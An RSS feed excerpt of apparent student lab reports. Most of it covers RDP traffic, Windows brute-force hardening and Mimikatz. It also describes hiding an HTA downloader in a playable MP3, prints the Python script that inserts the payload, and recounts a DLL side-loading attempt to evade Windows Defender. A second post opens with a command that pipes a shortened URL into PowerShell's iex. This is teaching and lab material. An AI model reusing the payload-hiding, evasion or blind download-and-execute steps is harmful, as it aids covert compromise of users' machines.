</span></span><span style="display:flex;"><span>        print(<span style="color:#e6db74">&#34;Password not found&#34;</span>)
</span></span></code></pre></div><hr>
<h4 id="analyzing-network-traffic-with-wireshark-rdp">Analyzing Network Traffic with Wireshark (RDP)</h4>
<p>When inspecting the traffic of an <code>RDP</code> connection, only two RDP requests are sent: a <code>Negotiate Request</code> and a <code>Negotiate Response</code>. The <code>Negotiate Request</code> is used by the client to advertise the supported security protocols.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/rdpneg%20req.png"/> <figcaption>
            Figure 20: Viewing the RDP Negotiate Request
        </figcaption>
</figure>

<p>The server replies with the protocol to use based on the client’s advertisement, which in this case is <code>CredSSP</code> (Credential Security Support Provider). <code>CredSSP</code> provides an encrypted TLS channel, over which the client authenticates using the Simple and Protected Negotiate (SPNEGO) protocol with either Microsoft Kerberos or Microsoft NTLM.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/rdp%20neg%20res.png"/> <figcaption>
            Figure 21: Viewing the RDP Negotiate Response
        </figcaption>
</figure>

<p>After selecting the protocol, a TLS handshake occurs between the client and the server. During this handshake, both parties agree on the TLS version, choose a cipher suite, authenticate the server’s identity via its public key and the digital signature of an SSL certificate authority, and generate session keys in order to use symmetric encryption after the handshake is complete.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/tlshandshake.png"/> <figcaption>
            Figure 22: Viewing the Handshake and Termination of the Connection
        </figcaption>
</figure>

<p>Whether or not the RDP authentication was successful cannot be directly observed, as all communication is wrapped inside encrypted TLS packets, making it appear identical in Wireshark. The only indicator is the amount of application data transmitted, from which it can be inferred whether the client briefly connected for authentication only or simply transmitted credentials over the TLS connection before the authentication failed.</p>
<p>The main difference isn&rsquo;t just the authentication mechanisms (CSPP/TLS vs. GSS-API/NTLMSSP). A crucial distinction is how encryption is handled. RDP can use TLS to encrypt all traffic, including application data, whereas SMB uses GSS-API to negotiate authentication (often using Kerberos or NTLM) and can encrypt SMB packets directly, especially in newer versions (SMB 3.0+). When RDP uses TLS, it creates a TLS tunnel. SMB encryption is integrated within the SMB protocol itself. <cite>Microsoft Corporation<sup id="fnref1:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></cite> <cite>Wikipedia<sup id="fnref1:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup></cite></p>
<hr>
<h3 id="hardening-windows-against-brute-force-attacks">Hardening Windows Against Brute-Force Attacks</h3>
<h4 id="using-evlwatcher-for-rate-limiting">Using EvLWatcher for Rate Limiting</h4>
<p>To set up rate limiting, I used a <code>fail2ban</code>-style tool for Windows called EvLWatcher. After running the setup executable, no additional configuration is necessary, and it can essentially be left to run in the background. <cite>GitHub<sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup></cite></p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/evlwatcherf.png"/> <figcaption>
            Figure 23: Observing The Attackers IP-Address getting temporarily banned
        </figcaption>
</figure>

<h4 id="disabling-ntlm-authentication">Disabling NTLM Authentication</h4>
<p>NTLM is a legacy authentication protocol that dates back to Windows NT. Although Microsoft introduced a more secure alternative called Kerberos in 1989, NTLM is still used in some domain networks and remains enabled for backward compatibility. One of NTLM&rsquo;s major flaws is that it stores password hashes in plaintext in the memory of its servers, which can be extracted using pass-the-hash tools such as Mimikatz. <cite>Windows OS Hub<sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup></cite> <cite>Wikipedia<sup id="fnref1:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></cite></p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/disablentlm.png"/> <figcaption>
            Figure 24: Disabling NTLM authentication for all accounts
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/nontlm.png"/> <figcaption>
            Figure 25: Hydra failing without being able to use NTLM
        </figcaption>
</figure>
</p>
<h4 id="configuring-login-timeout-settings">Configuring Login Timeout Settings</h4>
<p>To slow down RDP brute-forcing, account lockout can be configured in the Local Security Policy editor under Account Lockout Policy. <cite>The Windows Club<sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup></cite></p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/lockout.png"/> <figcaption>
            Figure 26: Showing the lockout policy
        </figcaption>
</figure>

<hr>
<h3 id="mimikatz-an-introduction">Mimikatz: An Introduction</h3>
<p>Mimikatz is a post-exploitation tool designed to extract credential information. <cite>Medium<sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup></cite></p>
<h4 id="what-can-mimikatz-do">What Can Mimikatz Do?</h4>
<p>The main features of Mimikatz include extracting credentials from memory or disk-based password stores. This includes plaintext passwords, PINs, Kerberos tickets, and NTLM password hashes. Mimikatz achieves this through a variety of techniques, such as Pass-the-Hash, which allows attackers to use captured NTLM hashes to create new authenticated sessions on the network—without needing to know the user’s actual password. <cite>CrowdStrike<sup id="fnref:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup></cite> <cite>MITRE ATT&amp;CK<sup id="fnref:13"><a href="#fn:13" class="footnote-ref" role="doc-noteref">13</a></sup></cite></p>
<ul>
<li><strong>Pass-the-Hash:</strong> Allows attackers to use captured NTLM hashes to create new authenticated sessions.</li>
<li><strong>Pass-the-ticket:</strong> Bypasses normal system access controls by stealing a valid Kerberos ticket.</li>
</ul>
<p>There are two notable types of forged Kerberos tickets: Silver and Golden tickets. <cite>Medium<sup id="fnref1:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup></cite> <cite>MITRE ATT&amp;CK<sup id="fnref1:13"><a href="#fn:13" class="footnote-ref" role="doc-noteref">13</a></sup></cite></p>
<h4 id="how-to-use-mimikatz">How to Use Mimikatz</h4>
<p>There are multiple ways to invoke Mimikatz on a target system. The simplest method is to download a compiled release from the official GitHub repository. However, there are also pre-built PowerShell scripts and commands that streamline its execution, such as Invoke-Mimikatz from the PowerSploit framework. <cite>PowerSploit<sup id="fnref:14"><a href="#fn:14" class="footnote-ref" role="doc-noteref">14</a></sup></cite></p>
<hr>
<h3 id="running-mimikatz">Running Mimikatz</h3>
<p>To run Mimikatz on the target system, I wanted to try a unique or more creative method rather than simply downloading and executing the Mimikatz binary directly. Inspired by a video from security professional and YouTuber John Hammond, where he analyzes a malware sample hidden inside an MP3 file that uses mshta.exe to execute a payload, I explored a similar idea. <cite>John Hammond<sup id="fnref:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup></cite></p>
<p>To do this, I used an MP3 file in which I embedded the plain text of an HTA script that downloads Mimikatz. The MP3 file appears normal and can be played, but if executed using <code>mshta</code>, it executes the script.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/payload.png"/> <figcaption>
            Figure 27: Showing the payload in the mp3 file
        </figcaption>
</figure>

<p>The payload runs a PowerShell command in a hidden window that downloads Mimikatz and saves it as <code>msedge_installer.zip</code>.</p>
<p>To insert my payload into an MP3 file, I wrote the following Python script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> random
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">insert_file</span>(target_path, payload_path, output_path):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">with</span> open(target_path, <span style="color:#e6db74">&#39;rb&#39;</span>) <span style="color:#66d9ef">as</span> target_file:
</span></span><span style="display:flex;"><span>            target_content <span style="color:#f92672">=</span> target_file<span style="color:#f92672">.</span>read()
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">with</span> open(payload_path, <span style="color:#e6db74">&#39;rb&#39;</span>) <span style="color:#66d9ef">as</span> payload_content:
</span></span><span style="display:flex;"><span>            payload <span style="color:#f92672">=</span> payload_content<span style="color:#f92672">.</span>read()
</span></span><span style="display:flex;"><span>        target_size <span style="color:#f92672">=</span> len(target_content)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> target_size <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>:
</span></span><span style="display:flex;"><span>            print(<span style="color:#e6db74">&#34;Error: Target file is empty.&#34;</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>        middle_index <span style="color:#f92672">=</span> target_size <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>        random_offset_range <span style="color:#f92672">=</span> target_size <span style="color:#f92672">//</span> <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>        random_offset <span style="color:#f92672">=</span> random<span style="color:#f92672">.</span>randint(<span style="color:#f92672">-</span>random_offset_range, random_offset_range)
</span></span><span style="display:flex;"><span>        insertion_point <span style="color:#f92672">=</span> max(<span style="color:#ae81ff">0</span>, min(target_size, middle_index <span style="color:#f92672">+</span> random_offset))
</span></span><span style="display:flex;"><span>        new_content <span style="color:#f92672">=</span> target_content[:insertion_point] <span style="color:#f92672">+</span> payload <span style="color:#f92672">+</span> target_content[insertion_point:]
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">with</span> open(output_path, <span style="color:#e6db74">&#39;wb&#39;</span>) <span style="color:#66d9ef">as</span> output_file:
</span></span><span style="display:flex;"><span>            output_file<span style="color:#f92672">.</span>write(new_content)
</span></span><span style="display:flex;"><span>        print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;File &#39;</span><span style="color:#e6db74">{</span>payload_path<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39; inserted at position </span><span style="color:#e6db74">{</span>insertion_point<span style="color:#e6db74">}</span><span style="color:#e6db74"> in &#39;</span><span style="color:#e6db74">{</span>target_path<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39; and saved as &#39;</span><span style="color:#e6db74">{</span>output_path<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;.&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">except</span> <span style="color:#a6e22e">FileNotFoundError</span>:
</span></span><span style="display:flex;"><span>        print(<span style="color:#e6db74">&#34;Error: One or both of the input files were not found.&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">except</span> <span style="color:#a6e22e">Exception</span> <span style="color:#66d9ef">as</span> e:
</span></span><span style="display:flex;"><span>        print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;An error occurred: </span><span style="color:#e6db74">{</span>e<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>    target_mp3 <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;./The_link_orginal.mp3&#34;</span>
</span></span><span style="display:flex;"><span>    file_to_insert <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;payload.hta&#34;</span>
</span></span><span style="display:flex;"><span>    output_mp3 <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;./The_link.mp3&#34;</span>
</span></span><span style="display:flex;"><span>    insert_file(target_mp3, file_to_insert, output_mp3)
</span></span></code></pre></div><p>Figures below show the properties of the edited file, its ability to be played back, and the execution of the file via <code>mshta</code> on the target user through RDP.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/link_properties.png"/> <figcaption>
            Figure 28: Showing the properties of the mp3 file
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/listentiogn%20to%20the%20mp3%20file.png"/> <figcaption>
            Figure 29: Listening to the mp3 file
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/exepayload.png"/> <figcaption>
            Figure 30: Executing the payload inside the mp3 file
        </figcaption>
</figure>
</p>
<p>The ZIP file can now be extracted, and Mimikatz can be executed. However, since the user has virtually no permissions—and Mimikatz requires elevated privileges—it had no practical use in this scenario.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/sadgemimikatz.png"/> <figcaption>
            Figure 31: Running privilege::debug in mimikatz
        </figcaption>
</figure>

<hr>
<h4 id="dll-side-loading-to-attempt-to-bypass-windows-defender">DLL Side-Loading to Attempt to Bypass Windows Defender</h4>
<p>DLL sideloading is a technique in which a built-in Windows binary is copied to a different path, and a custom-compiled DLL is placed in the same directory, hoping that the binary will load the malicious DLL instead of the intended one. To find such vulnerable binaries, there is a website called hijacklibs.net, which allows filtering DLLs by vendor and provides detection rules for each specific DLL. <cite>HijackLibs<sup id="fnref:16"><a href="#fn:16" class="footnote-ref" role="doc-noteref">16</a></sup></cite></p>
<p>To create your own DLL, you need the Microsoft x64 Native Developer Tools. You can then write the code for your DLL and compile it using:</p>
<pre tabindex="0"><code>cl /LD DismCore.c user32.lib 
</code></pre><p>I tried bundling Mimikatz into the DLL and sideloading it via a built-in Windows executable in an attempt to bypass Windows Defender. However, it was detected anyway.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/dll-1.png"/> <figcaption>
            Figure 32: Opening a Messagebox with the dll
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/dll-2.png"/> <figcaption>
            Figure 33: Trying to run the script via the dll
        </figcaption>
</figure>
</p>
<hr>
<h4 id="how-to-detect-and-block-mimikatz">How to Detect and Block Mimikatz</h4>
<p>There are a multitude of ways to prevent Mimikatz, most of which come down to restricting access. For example, configuring the &ldquo;Debug Program&rdquo; policy to be accessible only to local administrators, disabling outdated protocols such as <code>WDigest</code>, and enforcing strong password policies.</p>
<hr>
<h2 id="references">References</h2>
<p><em>For a full bibliography, see the <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex9/zotero.bib">original BibTeX file</a>.</em></p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>Microsoft Corporation. Server Message Block (SMB) Protocol Versions 2 and 3. <a href="https://winprotocoldoc.z19.web.core.windows.net/MS-SMB2/%5bMS-SMB2%5d.pdf">source</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>Microsoft Community Hub. Controlling SMB Dialects. <a href="https://techcommunity.microsoft.com/blog/filecab/controlling-smb-dialects/860024">source</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>Wikipedia. NTLMSSP. <a href="https://en.wikipedia.org/w/index.php?title=NTLMSSP&amp;oldid=990800521">source</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>Microsoft Docs. [MS-SMB2]: SMB2 SESSION_SETUP Request. <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a3c2c28-d6b0-48ed-b917-a86b2ca4575f">source</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>Windows OS Hub. Managing Administrative Shares (Admin$, IPC$, C$) on Windows. <a href="https://woshub.com/enable-remote-access-to-admin-shares-in-workgroup/">source</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p>Wikipedia. Remote Desktop Protocol. <a href="https://en.wikipedia.org/w/index.php?title=Remote_Desktop_Protocol&amp;oldid=1245904842">source</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p>Microsoft Docs. Credential Security Support Provider - Win32 apps. <a href="https://learn.microsoft.com/en-us/windows/win32/secauthn/credential-security-support-provider">source</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p>GitHub. devnulli/EvlWatcher: a &ldquo;fail2ban&rdquo; style modular log file analyzer for windows. <a href="https://github.com/devnulli/EvlWatcher">source</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p>Windows OS Hub. Disable NTLM Authentication in Windows. <a href="https://woshub.com/disable-ntlm-authentication-windows">source</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p>The Windows Club. How to restrict the number of Login attempts in Windows 11/10. <a href="https://www.thewindowsclub.com/how-to-restrict-the-number-of-login-attempts-in-windows-7">source</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p>Medium. Detailed mimikatz guide. <a href="https://medium.com/@redfanatic7/detailed-mimikatz-guide-87176fd526c0">source</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:12">
<p>CrowdStrike. What is a Pass-the-Hash Attack? <a href="https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/pass-the-hash-attack">source</a>&#160;<a href="#fnref:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:13">
<p>MITRE ATT&amp;CK. Use Alternate Authentication Material: Pass the Ticket. <a href="https://attack.mitre.org/techniques/T1550/003">source</a>&#160;<a href="#fnref:13" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:13" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:14">
<p>PowerSploit. PowerShellMafia/PowerSploit. <a href="https://github.com/PowerShellMafia/PowerSploit">source</a>&#160;<a href="#fnref:14" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:15">
<p>John Hammond. this MP3 file is malware. <a href="https://www.youtube.com/watch?v=25NvCdFSkA4">source</a>&#160;<a href="#fnref:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:16">
<p>HijackLibs. dismcore.dll on HijackLibs. <a href="https://hijacklibs.net/entries/microsoft/built-in/dismcore.html">source</a>&#160;<a href="#fnref:16" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Secure data storrage on Windows Server</title><link>https://0xveya.github.io/posts/itsi/year-3/exercise-8/secure-data-storrage-on-windows-server/</link><pubDate>Fri, 14 Mar 2025 02:22:09 +0100</pubDate><guid>https://0xveya.github.io/posts/itsi/year-3/exercise-8/secure-data-storrage-on-windows-server/</guid><description>&lt;blockquote>
&lt;p>Note: this was converted from LaTeX to Markdown using ChatGPT 4.1. The original PDF can be found &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex8/Sichere%20Datenspeicherung%20unter%20Windows.pdf">here&lt;/a> along with the &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex8/quellen.bib">bibliography&lt;/a>.&lt;/p>&lt;/blockquote>
&lt;hr>
&lt;h1 id="secure-data-storage-on-windows">Secure data storage on Windows&lt;/h1>
&lt;hr>
&lt;p>&lt;strong>Laboratory protocol&lt;/strong>&lt;br>
Exercise 8: Secure data storage on Windows&lt;br>
&lt;figure>
&lt;img loading="lazy" src="https://0xveya.github.io/itsi/y3/ex8/images/menAAA.png"/> &lt;figcaption>
Figure: Grouplogo
&lt;/figcaption>
&lt;/figure>
&lt;strong>Subject:&lt;/strong> ITSI&lt;br>
&lt;strong>Class:&lt;/strong> 3AHITN&lt;br>
&lt;strong>Name:&lt;/strong> Stefan Fürst, Justin Tremurici&lt;br>
&lt;strong>Group Name/Number:&lt;/strong> todo/12&lt;br>
&lt;strong>Supervisor:&lt;/strong> SPAC, ZIVK&lt;br>
&lt;strong>Exercise dates:&lt;/strong> 14.02.2025 | 21.02.2025 | 28.02.2025 | 7.02.2025&lt;br>
&lt;strong>Submission date:&lt;/strong> 14.3.2025&lt;/p>
&lt;hr>
&lt;h2 id="table-of-contents">Table of Contents&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#task-definition">Task definition&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#task-overview">Task Overview&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#summary">Summary&lt;/a>&lt;/li>
&lt;li>&lt;a href="#exercise-execution">Exercise Execution&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#introduction">Introduction&lt;/a>&lt;/li>
&lt;li>&lt;a href="#explaining-the-first-script">Explaining the first script&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#changing-the-execution-policy">Changing the execution policy&lt;/a>&lt;/li>
&lt;li>&lt;a href="#installing-bitlocker">Installing BitLocker&lt;/a>&lt;/li>
&lt;li>&lt;a href="#changing-the-hostname">Changing the Hostname&lt;/a>&lt;/li>
&lt;li>&lt;a href="#downloading-the-second-script">Downloading the second script&lt;/a>&lt;/li>
&lt;li>&lt;a href="#enabling-remote-desktop">Enabling Remote Desktop&lt;/a>&lt;/li>
&lt;li>&lt;a href="#creating-a-scheduled-task">Creating a Scheduled Task&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#the-second-script">The second script&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#creating-users-and-adding-them-to-groups">Creating Users and Adding Them to Groups&lt;/a>&lt;/li>
&lt;li>&lt;a href="#resizing-the-disk-and-creating-a-new-partition">Resizing the Disk and Creating a New Partition&lt;/a>&lt;/li>
&lt;li>&lt;a href="#creating-directories">Creating Directories&lt;/a>&lt;/li>
&lt;li>&lt;a href="#populating-the-directories">Populating the Directories&lt;/a>&lt;/li>
&lt;li>&lt;a href="#creating-users-and-groups">Creating Users and Groups&lt;/a>&lt;/li>
&lt;li>&lt;a href="#verifying-the-creation-of-users-and-groups">Verifying the Creation of users and groups&lt;/a>&lt;/li>
&lt;li>&lt;a href="#managing-ntfs-permissions-using-icacls">Managing NTFS Permissions Using icacls&lt;/a>&lt;/li>
&lt;li>&lt;a href="#sharing-the-directories-via-smb">Sharing the Directories via SMB&lt;/a>&lt;/li>
&lt;li>&lt;a href="#encrypting-the-volume-using-bitlocker">Encrypting the Volume using BitLocker&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#references">References&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="task-definition">Task definition&lt;/h2>
&lt;h3 id="task-overview">Task Overview&lt;/h3>
&lt;p>The goal of this exercise is to set up a secure and structured data storage system on a Windows Server, ensuring proper access control and encryption. The tasks include installing the operating system, configuring users and groups, setting up a folder structure, and securing access with permissions.&lt;/p></description><content:encoded><![CDATA[<blockquote>
<p>Note: this was converted from LaTeX to Markdown using ChatGPT 4.1. The original PDF can be found <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex8/Sichere%20Datenspeicherung%20unter%20Windows.pdf">here</a> along with the <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex8/quellen.bib">bibliography</a>.</p></blockquote>
<hr>
<h1 id="secure-data-storage-on-windows">Secure data storage on Windows</h1>
<hr>
<p><strong>Laboratory protocol</strong><br>
Exercise 8: Secure data storage on Windows<br>
<figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/menAAA.png"/> <figcaption>
            Figure: Grouplogo
        </figcaption>
</figure>

<strong>Subject:</strong> ITSI<br>
<strong>Class:</strong> 3AHITN<br>
<strong>Name:</strong> Stefan Fürst, Justin Tremurici<br>
<strong>Group Name/Number:</strong> todo/12<br>
<strong>Supervisor:</strong> SPAC, ZIVK<br>
<strong>Exercise dates:</strong> 14.02.2025 | 21.02.2025 | 28.02.2025 | 7.02.2025<br>
<strong>Submission date:</strong> 14.3.2025</p>
<hr>
<h2 id="table-of-contents">Table of Contents</h2>
<ul>
<li><a href="#task-definition">Task definition</a>
<ul>
<li><a href="#task-overview">Task Overview</a></li>
</ul>
</li>
<li><a href="#summary">Summary</a></li>
<li><a href="#exercise-execution">Exercise Execution</a>
<ul>
<li><a href="#introduction">Introduction</a></li>
<li><a href="#explaining-the-first-script">Explaining the first script</a>
<ul>
<li><a href="#changing-the-execution-policy">Changing the execution policy</a></li>
<li><a href="#installing-bitlocker">Installing BitLocker</a></li>
<li><a href="#changing-the-hostname">Changing the Hostname</a></li>
<li><a href="#downloading-the-second-script">Downloading the second script</a></li>
<li><a href="#enabling-remote-desktop">Enabling Remote Desktop</a></li>
<li><a href="#creating-a-scheduled-task">Creating a Scheduled Task</a></li>
</ul>
</li>
<li><a href="#the-second-script">The second script</a>
<ul>
<li><a href="#creating-users-and-adding-them-to-groups">Creating Users and Adding Them to Groups</a></li>
<li><a href="#resizing-the-disk-and-creating-a-new-partition">Resizing the Disk and Creating a New Partition</a></li>
<li><a href="#creating-directories">Creating Directories</a></li>
<li><a href="#populating-the-directories">Populating the Directories</a></li>
<li><a href="#creating-users-and-groups">Creating Users and Groups</a></li>
<li><a href="#verifying-the-creation-of-users-and-groups">Verifying the Creation of users and groups</a></li>
<li><a href="#managing-ntfs-permissions-using-icacls">Managing NTFS Permissions Using icacls</a></li>
<li><a href="#sharing-the-directories-via-smb">Sharing the Directories via SMB</a></li>
<li><a href="#encrypting-the-volume-using-bitlocker">Encrypting the Volume using BitLocker</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="#references">References</a></li>
</ul>
<hr>
<h2 id="task-definition">Task definition</h2>
<h3 id="task-overview">Task Overview</h3>
<p>The goal of this exercise is to set up a secure and structured data storage system on a Windows Server, ensuring proper access control and encryption. The tasks include installing the operating system, configuring users and groups, setting up a folder structure, and securing access with permissions.</p>
<p>First, <code>Windows Server 2019</code> or newer must be installed in a virtualized environment, with the <code>hostname</code> and user accounts configured according to a naming convention. A structured folder system should be created based on an assigned fictional company, categorizing data logically and including sample files.</p>
<p>User management involves defining necessary accounts, organizing them into <code>organizational groups</code>, and enforcing a consistent naming scheme. Permissions must be applied using <code>NTFS</code> security settings, restricting access appropriately. <code>Network shares</code> need to be configured to allow remote access while maintaining security through controlled sharing settings.</p>
<p>The storage system must be optimized by creating a new <code>partition</code>, migrating data, and applying <code>BitLocker</code> encryption. All configurations should be verified, and documentation is required throughout the process. <code>PowerShell</code> automation is encouraged where applicable.<cite>ChatGPT<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></cite></p>
<hr>
<h2 id="summary">Summary</h2>
<p>This task was fully automated using two <code>PowerShell</code> scripts. The first script set up the environment by configuring the necessary system settings and creating a <code>Scheduled Task</code> using <code>New-ScheduledTask</code> and <code>Register-ScheduledTask</code> to execute the second script at predefined intervals. The second script performed all required operations, including creating and managing <code>users</code>, <code>directories</code>, <code>files</code>, and their <code>permissions</code>.</p>
<p>To manage users, the script utilized commands such as <code>New-LocalUser</code> to create users, <code>Add-LocalGroupMember</code> to assign them to groups, and <code>Set-LocalUser</code> to modify user settings. The script dynamically generated random user accounts and assigned them to groups based on predefined logic. Organizational groups and security groups were structured to align with the fictional company scenario, BuildSmart BIM, a digital building company specializing in architecture, material lists, and time plans.</p>
<p>For managing directories and files, commands like <code>New-Item</code> were used to create directory structures, and <code>icacls</code> was used to configure <code>NTFS permissions</code> for securing access.</p>
<p>The partitioning of the drive was accomplished using <code>Resize-Partition</code> to shrink the primary partition and <code>New-Partition</code> to create a new <code>B:</code> partition, followed by <code>Format-Volume</code> to prepare it for use. The existing directory structure was then migrated using <code>Move-Item</code>.</p>
<p>To enable file sharing, <code>New-SmbShare</code> was employed to create network shares. Additionally, the script encrypted the partition using <code>Enable-BitLocker</code>.</p>
<p>Through this approach, the entire process was streamlined and executed automatically, significantly reducing manual effort while maintaining a structured and secure environment.</p>
<hr>
<h2 id="exercise-execution">Exercise Execution</h2>
<h3 id="introduction">Introduction</h3>
<p>This entire exercise was automated with a script that can be invoked with a single command. It is designed to be used after setting up a fresh install of a new version of Windows Server. This script will complete the entire exercise automatically.</p>
<p><strong>Note:</strong> For the script to work, the language of the Windows Server installation must be set to English, since user and group names are localized with no available aliases.<cite>Nico Boehr<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></cite></p>
<p>To run it, simply log into the Administrator account, press <strong>Windows + R</strong> to open the Run dialog, and paste the following command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>powershell.exe iwr https<span style="color:#960050;background-color:#1e0010">:</span>//tinyurl.com/mr234bdr | iex
